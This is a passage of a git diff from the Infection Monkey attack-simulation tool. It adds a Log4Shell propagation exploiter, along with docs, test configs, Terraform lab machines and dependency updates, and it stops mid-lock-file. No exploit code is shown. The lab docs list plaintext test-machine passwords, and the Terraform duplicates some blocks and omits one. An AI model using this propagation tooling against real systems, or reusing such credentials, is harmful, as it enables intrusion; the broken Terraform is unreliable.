diff --git a/CHANGELOG.md b/CHANGELOG.md
index 61c2a177e..6c5d152a8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -42,6 +42,15 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
### Security
+## [1.13.0] - 2022-01-25
+### Added
+- A new exploiter that allows propagation via the Log4Shell vulnerability
+ (CVE-2021-44228). #1663
+
+### Fixed
+- Exploiters attempting to start servers listening on privileged ports,
+ resulting in failed propagation. 8f53a5c
+
## [1.12.0] - 2021-10-27
### Added
- A new exploiter that allows propagation via PowerShell Remoting. #1246
diff --git a/docs/content/reference/exploiters/Log4Shell.md b/docs/content/reference/exploiters/Log4Shell.md
new file mode 100644
index 000000000..7d532b32e
--- /dev/null
+++ b/docs/content/reference/exploiters/Log4Shell.md
@@ -0,0 +1,37 @@
+---
+title: "Log4Shell"
+date: 2022-01-12T14:07:23+05:30
+draft: false
+tags: ["exploit", "linux", "windows"]
+---
+
+The Log4Shell exploiter exploits
+[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228).
+
+
+### Description
+
+Some versions of Apache Log4j, a Java logging framework, have a logging feature
+called "Message Lookup Substitution" enabled by default. This allows replacing
+certain special strings by dynamically-generated strings at the time of
+logging. If log messages or log message parameters can be controlled by an
+attacker, arbitrary code can be executed. The Log4Shell exploiter takes
+advantage of this vulnerability to propagate to a victim machine.
+
+You can learn more about this vulnerability and potential mitigations
+[here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29).
+
+
+### Services exploited
+
+The Infection Monkey will attempt to exploit the Log4Shell vulnerability in the
+following services:
+
+- Apache Solr
+- Apache Tomcat
+- Logstash
+
+**Note**: Even if none of these services are running in your environment,
+running the Log4Shell exploiter can be a good way to test your IDS/IPS or EDR
+solutions. These solutions should detect that the Infection Monkey is attempting
+to exploit the Log4Shell vulnerability and raise an appropriate alert.
diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md
index 916889ba6..9b4fc6410 100644
--- a/docs/content/setup/aws.md
+++ b/docs/content/setup/aws.md
@@ -24,12 +24,7 @@ When ready, you can browse to the Infection Monkey running on the fresh deployme
`https://{public-ip}:5000`
-You will be presented with a login page. Enter the username **monkey**, and the
-new EC2 instance's **instance ID** for your password. To find your instance ID,
-go to the EC2 console and select your instance. It should appear in the details
-pane below.
-
-![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID")
+To login to the machine, use *ubuntu* username.
## Integration with AWS services
diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md
index 5de3c9fb5..b656476a7 100644
--- a/docs/content/setup/docker.md
+++ b/docs/content/setup/docker.md
@@ -23,13 +23,13 @@ The Infection Monkey Docker container works on Linux only. It is not compatible
1. Extract the Monkey Island Docker tarball:
```bash
- tar -xvzf InfectionMonkey-docker-v1.12.0.tgz
+ tar -xvzf InfectionMonkey-docker-v1.13.0.tgz
```
1. Load the Monkey Island Docker image:
```bash
- sudo docker load -i InfectionMonkey-docker-v1.12.0.tar
+ sudo docker load -i InfectionMonkey-docker-v1.13.0.tar
```
### 2. Start MongoDB
diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md
index c39ec75bc..a1a1ff1a4 100644
--- a/docs/content/setup/linux.md
+++ b/docs/content/setup/linux.md
@@ -23,18 +23,18 @@ installed, but the ones that we've tested are:
- Ubuntu Focal 20.04
- Ubuntu Hirsute 21.04
-On Windows, AppImage can be run in WSL.
+On Windows, AppImage can be run in WSL 2.
## Deployment
1. Make the AppImage package executable:
```bash
- chmod u+x InfectionMonkey-v1.12.0.AppImage
+ chmod u+x InfectionMonkey-v1.13.0.AppImage
```
1. Start Monkey Island by running the Infection Monkey AppImage package:
```bash
- ./InfectionMonkey-v1.12.0.AppImage
+ ./InfectionMonkey-v1.13.0.AppImage
```
1. Access the Monkey Island web UI by pointing your browser at
`https://localhost:5000`.
diff --git a/docs/static/images/setup/aws/aws-instance-id.png b/docs/static/images/setup/aws/aws-instance-id.png
deleted file mode 100644
index 31c218090..000000000
Binary files a/docs/static/images/setup/aws/aws-instance-id.png and /dev/null differ
diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py
new file mode 100644
index 000000000..9f39a38c7
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py
@@ -0,0 +1,16 @@
+from copy import copy
+
+from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
+from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
+
+
+class Log4jLogstash(ConfigTemplate):
+
+ config_values = copy(BaseTemplate.config_values)
+
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py
new file mode 100644
index 000000000..77d513e74
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py
@@ -0,0 +1,16 @@
+from copy import copy
+
+from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
+from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
+
+
+class Log4jSolr(ConfigTemplate):
+
+ config_values = copy(BaseTemplate.config_values)
+
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py
new file mode 100644
index 000000000..29a2269a0
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py
@@ -0,0 +1,16 @@
+from copy import copy
+
+from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
+from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
+
+
+class Log4jTomcat(ConfigTemplate):
+
+ config_values = copy(BaseTemplate.config_values)
+
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py
index 07c7cd79f..eafa82d28 100644
--- a/envs/monkey_zoo/blackbox/config_templates/performance.py
+++ b/envs/monkey_zoo/blackbox/config_templates/performance.py
@@ -24,6 +24,7 @@ class Performance(ConfigTemplate):
"MSSQLExploiter",
"PowerShellExploiter",
"ZerologonExploiter",
+ "Log4ShellExploiter",
],
"basic_network.network_analysis.inaccessible_subnets": [
"10.2.2.0/30",
@@ -57,5 +58,11 @@ class Performance(ConfigTemplate):
"10.2.2.23",
"10.2.2.24",
"10.2.2.25",
+ "10.2.3.55",
+ "10.2.3.56",
+ "10.2.3.49",
+ "10.2.3.50",
+ "10.2.3.51",
+ "10.2.3.52",
],
}
diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py
index 2cd5a045c..a4dc02447 100644
--- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py
+++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py
@@ -26,5 +26,11 @@ GCP_TEST_MACHINE_LIST = {
"powershell-3-46",
"powershell-3-47",
"powershell-3-48",
+ "log4j-logstash-55",
+ "log4j-logstash-56",
+ "log4j-solr-49",
+ "log4j-solr-50",
+ "log4j-tomcat-51",
+ "log4j-tomcat-52",
],
}
diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py
index 3b74f8961..e6e64d3cc 100644
--- a/envs/monkey_zoo/blackbox/test_blackbox.py
+++ b/envs/monkey_zoo/blackbox/test_blackbox.py
@@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
+from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
+from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
+from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
@@ -198,7 +201,22 @@ class TestMonkeyBlackbox:
TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter")
def test_shellshock_exploiter(self, island_client):
- TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter")
+ TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellshock_exploiter")
+
+ def test_log4j_solr_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_exploitation_test(
+ island_client, Log4jSolr, "Log4Shell_Solr_exploiter"
+ )
+
+ def test_log4j_tomcat_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_exploitation_test(
+ island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter"
+ )
+
+ def test_log4j_logstash_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_exploitation_test(
+ island_client, Log4jLogstash, "Log4Shell_logstash_exploiter"
+ )
def test_tunneling(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py
index f38a48d39..305d71658 100644
--- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py
+++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py
@@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
+from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
+from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
+from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
@@ -53,6 +56,9 @@ CONFIG_TEMPLATES = [
WmiPth,
Zerologon,
Drupal,
+ Log4jLogstash,
+ Log4jTomcat,
+ Log4jSolr,
]
diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index a7c523080..682e82fcf 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -33,8 +33,14 @@ This document describes Infection Monkey’s test network, how to deploy and use
[Nr. 3-46 Powershell](#_Toc536021480)
[Nr. 3-47 Powershell](#_Toc536021481)
[Nr. 3-48 Powershell](#_Toc536021482)
-[Nr. 250 MonkeyIsland](#_Toc536021483)
-[Nr. 251 MonkeyIsland](#_Toc536021484)
+[Nr. 3-49 Log4j Solr](#_Toc536021483)
+[Nr. 3-50 Log4j Solr](#_Toc536021484)
+[Nr. 3-51 Log4j Tomcat](#_Toc536021485)
+[Nr. 3-52 Log4j Tomcat](#_Toc536021486)
+[Nr. 3-55 Log4j Logstash](#_Toc536021487)
+[Nr. 3-56 Log4j Logstash](#_Toc536021488)
+[Nr. 250 MonkeyIsland](#_Toc536021489)
+[Nr. 251 MonkeyIsland](#_Toc536021490)
[Network topography](#network-topography)
# Warning\!
@@ -419,7 +425,7 @@ Update all requirements using deployment script:
Notes: |
-Accessible only trough Nr.9 |
+Accessible only through Nr.9 |
@@ -455,7 +461,7 @@ Update all requirements using deployment script:
Notes: |
-Accessible only trough Nr.10 |
+Accessible only through Nr.10 |
@@ -487,7 +493,7 @@ Update all requirements using deployment script:
Notes: |
-Accessible only trough Nr.10 |
+Accessible only through Nr.10 |
@@ -1119,7 +1125,179 @@ Update all requirements using deployment script:
+
+
+
+OS: |
+Ubuntu 18.04LTS |
+
+
+Software: |
+Apache Solr 8.11.0 |
+
+
+Default server’s port: |
+8983 |
+
+
+Notes: |
+User: m0nk3y, Password: m0nk3y |
+
+
+
+
+
+
+
+
+
+
+OS: |
+Windows Server 2016 x64 |
+
+
+Software: |
+Apache solr 8.11.0 |
+
+
+Default server’s port: |
+8983 |
+
+
+Notes: |
+User: m0nk3y, Password: Passw0rd! |
+
+
+
+
+
+
+
+
+
+
+OS: |
+Ubuntu 18.04LTS |
+
+
+Software: |
+Apache Tomcat 8.0.36 |
+
+
+Default server’s port: |
+8080 |
+
+
+Notes: |
+ |
+
+
+
+
+
+
+
+
+
+
+OS: |
+Windows Server 2016 x64 |
+
+
+Software: |
+Apache Tomcat 8.0.36 |
+
+
+Default server’s port: |
+8080 |
+
+
+Notes: |
+User: m0nk3y, Password: Tomcat@22 |
+
+
+
+
+
+
+
+
+
+
+OS: |
+Ubuntu 18.04LTS |
+
+
+Software: |
+Logstash 5.5.0 |
+Java 1.8.0 |
+
+
+Default server’s port: |
+9600 |
+
+
+Notes: |
+User: logstash |
+ |
+
+
+
+
+
+
+
+
+
+
+OS: |
+Windows Server 2016 x64 |
+
+
+Software: |
+Logstash 5.5.0 |
+Java 1.8.0 |
+
+
+Default server’s port: |
+9600 |
+
+
+Notes: |
+User: m0nk3y, Password: 7;@K"kPTM |
+
+
+
+
+
+
+
+
@@ -1143,7 +1321,7 @@ Update all requirements using deployment script:
Notes: |
-Only accessible trough GCP |
+Only accessible through GCP |
@@ -1151,7 +1329,7 @@ Update all requirements using deployment script:
@@ -1175,7 +1353,7 @@ Update all requirements using deployment script:
Notes: |
-Only accessible trough GCP |
+Only accessible through GCP |
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf
index 58a92a99e..a3e2bcb73 100644
--- a/envs/monkey_zoo/terraform/images.tf
+++ b/envs/monkey_zoo/terraform/images.tf
@@ -72,6 +72,30 @@ data "google_compute_image" "powershell-3-45" {
name = "powershell-3-45"
project = local.monkeyzoo_project
}
+data "google_compute_image" "log4j-solr-49" {
+ name = "log4j-solr-49"
+ project = local.monkeyzoo_project
+}
+data "google_compute_image" "log4j-solr-50" {
+ name = "log4j-solr-50"
+ project = local.monkeyzoo_project
+}
+data "google_compute_image" "log4j-tomcat-51" {
+ name = "log4j-tomcat-51"
+ project = local.monkeyzoo_project
+}
+data "google_compute_image" "log4j-solr-50" {
+ name = "log4j-solr-50"
+ project = local.monkeyzoo_project
+}
+data "google_compute_image" "log4j-logstash-55" {
+ name = "log4j-logstash-55"
+ project = local.monkeyzoo_project
+}
+data "google_compute_image" "log4j-logstash-56" {
+ name = "log4j-logstash-56"
+ project = local.monkeyzoo_project
+}
data "google_compute_image" "weblogic-18" {
name = "weblogic-18"
project = local.monkeyzoo_project
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index d1ca528bb..a53c59007 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -340,6 +340,111 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
}
}
+resource "google_compute_instance_from_template" "powershell-3-45" {
+ name = "${local.resource_prefix}powershell-3-45"
+ source_instance_template = local.default_windows
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.powershell-3-45.self_link
+ }
+ auto_delete = true
+ }
+ network_interface {
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
+ network_ip="10.2.3.45"
+ }
+}
+
+resource "google_compute_instance_from_template" "log4j-solr-49" {
+ name = "${local.resource_prefix}log4j-solr-49"
+ source_instance_template = local.default_linux
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.log4j-solr-49.self_link
+ }
+ auto_delete = true
+ }
+ network_interface {
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
+ network_ip="10.2.3.49"
+ }
+}
+
+resource "google_compute_instance_from_template" "log4j-solr-50" {
+ name = "${local.resource_prefix}log4j-solr-50"
+ source_instance_template = local.default_windows
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.log4j-solr-50.self_link
+ }
+ auto_delete = true
+ }
+ network_interface {
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
+ network_ip="10.2.3.50"
+ }
+}
+
+resource "google_compute_instance_from_template" "log4j-tomcat-51" {
+ name = "${local.resource_prefix}log4j-tomcat-51"
+ source_instance_template = local.default_linux
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.log4j-tomcat-51.self_link
+ }
+ auto_delete = true
+ }
+ network_interface {
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
+ network_ip="10.2.3.51"
+ }
+}
+
+resource "google_compute_instance_from_template" "log4j-tomcat-52" {
+ name = "${local.resource_prefix}log4j-tomcat-52"
+ source_instance_template = local.default_windows
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.log4j-tomcat-52.self_link
+ }
+ auto_delete = true
+ }
+ network_interface {
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
+ network_ip="10.2.3.52"
+ }
+}
+
+resource "google_compute_instance_from_template" "log4j-logstash-55" {
+ name = "${local.resource_prefix}log4j-logstash-55"
+ source_instance_template = local.default_linux
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.log4j-logstash-55.self_link
+ }
+ auto_delete = true
+ }
+ network_interface {
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
+ network_ip="10.2.3.55"
+ }
+}
+
+resource "google_compute_instance_from_template" "log4j-logstash-56" {
+ name = "${local.resource_prefix}log4j-logstash-56"
+ source_instance_template = local.default_windows
+ boot_disk{
+ initialize_params {
+ image = data.google_compute_image.log4j-logstash-56.self_link
+ }
+ auto_delete = true
+ }
+ network_interface {
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
+ network_ip="10.2.3.56"
+ }
+}
+
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "${local.resource_prefix}upgrader-17"
diff --git a/monkey/common/version.py b/monkey/common/version.py
index 5c94adc8d..b3f4a6c2b 100644
--- a/monkey/common/version.py
+++ b/monkey/common/version.py
@@ -4,7 +4,7 @@ import argparse
from pathlib import Path
MAJOR = "1"
-MINOR = "12"
+MINOR = "13"
PATCH = "0"
build_file_path = Path(__file__).parent.joinpath("BUILD")
diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile
index c99bb0db8..728e42a4f 100644
--- a/monkey/infection_monkey/Pipfile
+++ b/monkey/infection_monkey/Pipfile
@@ -27,8 +27,10 @@ pycryptodome = "*" # Used in common/utils/shellcode_obfuscator.py
altgraph = "*" # Required for pyinstaller branch, without it agents fail to build
pysmb = "*"
"WinSys-3.x" = "*"
+ldaptor = "*"
[dev-packages]
+ldap3 = "*"
[requires]
python_version = "3.7"
diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock
index e037ccd85..ce3ba9c21 100644
--- a/monkey/infection_monkey/Pipfile.lock
+++ b/monkey/infection_monkey/Pipfile.lock
@@ -1,7 +1,7 @@
{
"_meta": {
"hash": {
- "sha256": "3b8ff927c305bfc92e7a2b3dfc847bba8ae4e7efe11e1babeaf27839df90a84a"
+ "sha256": "945e6a45bb4d4e87d66a82b788937b323596e4366daa44f743bca6eaf193045d"
},
"pipfile-spec": 6,
"requires": {
@@ -54,12 +54,30 @@
"markers": "python_version >= '3.6'",
"version": "==0.1.2"
},
+ "attrs": {
+ "hashes": [
+ "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4",
+ "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==21.4.0"
+ },
+ "automat": {
+ "hashes": [
+ "sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33",
+ "sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111"
+ ],
+ "version": "==20.2.0"
+ },
"bcrypt": {
"hashes": [
+ "sha256:56e5da069a76470679f312a7d3d23deb3ac4519991a0361abc11da837087b61d",
"sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29",
"sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7",
"sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34",
+ "sha256:a0584a92329210fcd75eb8a3250c5a941633f8bfaf2a18f81009b097732839b7",
"sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55",
+ "sha256:b589229207630484aefe5899122fb938a5b017b0f4349f769b8c13e78d99a8fd",
"sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6",
"sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1",
"sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d"
@@ -69,19 +87,19 @@
},
"boto3": {
"hashes": [
- "sha256:035191ad6c7e8aed972e1374f4e0ecb38767c497fd6c961e4ae33898b62f78fb",
- "sha256:cd58563dd3f36d5909815752b12c80a2c510c051474f8296e28dbd3ef5634d65"
+ "sha256:49499acf3f1dbb5f09eb93abfeb4025cd76fb7880c16a01a2901dfa335496f0d",
+ "sha256:d2fce99e42cb7cb263f3ff272bc707aa6a66bc6ab30d90bf0ff6cbdddd867cfa"
],
"markers": "python_version >= '3.6'",
- "version": "==1.20.11"
+ "version": "==1.20.42"
},
"botocore": {
"hashes": [
- "sha256:133fa0837762587fb4e5da3fb61ac0b45495cd9fd2d2be7679ba64899da1f3ba",
- "sha256:497234f137810909289a600433cec5583ea8dc05a78b644653d76484138d78b9"
+ "sha256:a58f1e559ff2c65495f55ac48217afefb56f2d709d30f7377c40287e8c5765d0",
+ "sha256:e2e5509934e634a374afa560de4ddc770bb562c7259cb63cd92aa7e54f943bc1"
],
"markers": "python_version >= '3.6'",
- "version": "==1.23.11"
+ "version": "==1.23.42"
},
"certifi": {
"hashes": [
@@ -155,19 +173,19 @@
},
"charset-normalizer": {
"hashes": [
- "sha256:e019de665e2bcf9c2b64e2e5aa025fa991da8720daa3c1138cadd2fd1856aed0",
- "sha256:f7af805c321bfa1ce6714c51f254e0d5bb5e5834039bc17db7ebe3a4cec9492b"
+ "sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd",
+ "sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455"
],
"markers": "python_version >= '3'",
- "version": "==2.0.7"
+ "version": "==2.0.10"
},
"cheroot": {
"hashes": [
- "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c",
- "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567"
+ "sha256:366adf6e7cac9555486c2d1be6297993022eff6f8c4655c1443268cca3f08e25",
+ "sha256:62cbced16f07e8aaf512673987cd6b1fc5ad00073345e9ed6c4e2a5cc2a3a22d"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
- "version": "==8.5.2"
+ "version": "==8.6.0"
},
"cherrypy": {
"hashes": [
@@ -208,6 +226,13 @@
],
"version": "==10.0"
},
+ "constantly": {
+ "hashes": [
+ "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35",
+ "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d"
+ ],
+ "version": "==15.1.0"
+ },
"cryptography": {
"hashes": [
"sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af",
@@ -235,11 +260,11 @@
},
"dnspython": {
"hashes": [
- "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216",
- "sha256:e4a87f0b573201a0f3727fa18a516b055fd1107e0e5477cded4a2de497df1dd4"
+ "sha256:081649da27ced5e75709a1ee542136eaba9842a0fe4c03da4fb0a3d3ed1f3c44",
+ "sha256:e79351e032d0b606b98d38a4b0e6e2275b31a5b85c873e587cc11b73aca026d6"
],
- "markers": "python_version >= '3.6'",
- "version": "==2.1.0"
+ "markers": "python_version >= '3.6' and python_version < '4'",
+ "version": "==2.2.0"
},
"flask": {
"hashes": [
@@ -270,6 +295,13 @@
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
"version": "==10.0"
},
+ "hyperlink": {
+ "hashes": [
+ "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b",
+ "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4"
+ ],
+ "version": "==21.0.0"
+ },
"idna": {
"hashes": [
"sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff",
@@ -301,6 +333,13 @@
"markers": "python_version < '3.9'",
"version": "==5.4.0"
},
+ "incremental": {
+ "hashes": [
+ "sha256:02f5de5aff48f6b9f665d99d48bfc7ec03b6e3943210de7cfc88856d755d6f57",
+ "sha256:92014aebc6a20b78a8084cdd5645eeaa7f74b8933f70fa3ada2cfbd1e3b54321"
+ ],
+ "version": "==21.3.0"
+ },
"ipaddress": {
"hashes": [
"sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc",
@@ -327,27 +366,35 @@
},
"jaraco.collections": {
"hashes": [
- "sha256:344d14769d716e7496af879ac71b3c6ebdd46abc64bd9ec21d15248365aa3ac9",
- "sha256:6fdf48b6268d44b589a9d7359849f5c4ea6447b59845e489da261996fbc41b79"
+ "sha256:b04f00bd4b3c4fc4ba5fe1baf8042c0efd192b13e386830ea23fff77bb69dc88",
+ "sha256:ef7c308d6d7cadfb16b32c7e414d628151ab02b57a5702b9d9a293148c035e70"
+ ],
+ "markers": "python_version >= '3.7'",
+ "version": "==3.5.1"
+ },
+ "jaraco.context": {
+ "hashes": [
+ "sha256:17b909da2fb37ad237ca7ff9523977f8665a47a25b90aec6a99a3e0959c86141",
+ "sha256:f0d4d82ffbbbff680384eba48a32a3167f12a91a30a7db56fd97b87e73a87241"
],
"markers": "python_version >= '3.6'",
- "version": "==3.4.0"
+ "version": "==4.1.1"
},
"jaraco.functools": {
"hashes": [
- "sha256:0e02358b3d86fab7963b0afa2181211dfa478ced708b057dba9b277bde9142bb",
- "sha256:659a64743047d00c6ae2a2aa60573c62cfc0b4b70eaa14fa50c80360ada32aa8"
+ "sha256:141f95c490a18eb8aab86caf7a2728f02f604988a26dc36652e3d9fa9e4c49fa",
+ "sha256:31e0e93d1027592b7b0bec6ad468db850338981ebee76ba5e212e235f4c7dda0"
],
- "markers": "python_version >= '3.6'",
- "version": "==3.4.0"
+ "markers": "python_version >= '3.7'",
+ "version": "==3.5.0"
},
"jaraco.text": {
"hashes": [
- "sha256:901d3468eaaa04f1d8a8f141f54b8887bfd943ccba311fc1c1de62c66604dfe0",
- "sha256:d1506dec6485fbaaaedf98b678f1228f639c8d50fbfa12ffc2594cfc495a2476"
+ "sha256:17b43aa0bd46e97c368ccd8a4c8fef2719ca121b6d39ce4be9d9e0143832479a",
+ "sha256:a7f9cc1b44a5f3096a216cbd130b650c7a6b2c9f8005b000ae97f329239a7c00"
],
"markers": "python_version >= '3.6'",
- "version": "==3.6.0"
+ "version": "==3.7.0"
},
"jinja2": {
"hashes": [
@@ -383,6 +430,14 @@
],
"version": "==0.9.3"
},
+ "ldaptor": {
+ "hashes": [
+ "sha256:70521851c74b67b340619fc58bb7105619714e40287309572edb6e86f6d75bd0",
+ "sha256:8c49eb19375d4aab3e5b835860614e0cb17e56bb5a20e1874808fa5bec67a358"
+ ],
+ "index": "pypi",
+ "version": "==21.2.0"
+ },
"markupsafe": {
"hashes": [
"sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298",
@@ -476,11 +531,11 @@
},
"more-itertools": {
"hashes": [
- "sha256:0a2fd25d343c08d7e7212071820e7e7ea2f41d8fb45d6bc8a00cd6ce3b7aab88",
- "sha256:88afff98d83d08fe5e4049b81e2b54c06ebb6b3871a600040865c7a592061cbb"
+ "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b",
+ "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064"
],
- "markers": "python_version >= '3.5'",
- "version": "==8.11.0"
+ "markers": "python_version >= '3.6'",
+ "version": "==8.12.0"
},
"msldap": {
"hashes": [
@@ -549,68 +604,79 @@
},
"paramiko": {
"hashes": [
- "sha256:def3ec612399bab4e9f5eb66b0ae5983980db9dd9120d9e9c6ea3ff673865d1c",
- "sha256:e673b10ee0f1c80d46182d3af7751d033d9b573dd7054d2d0aa46be186c3c1d2"
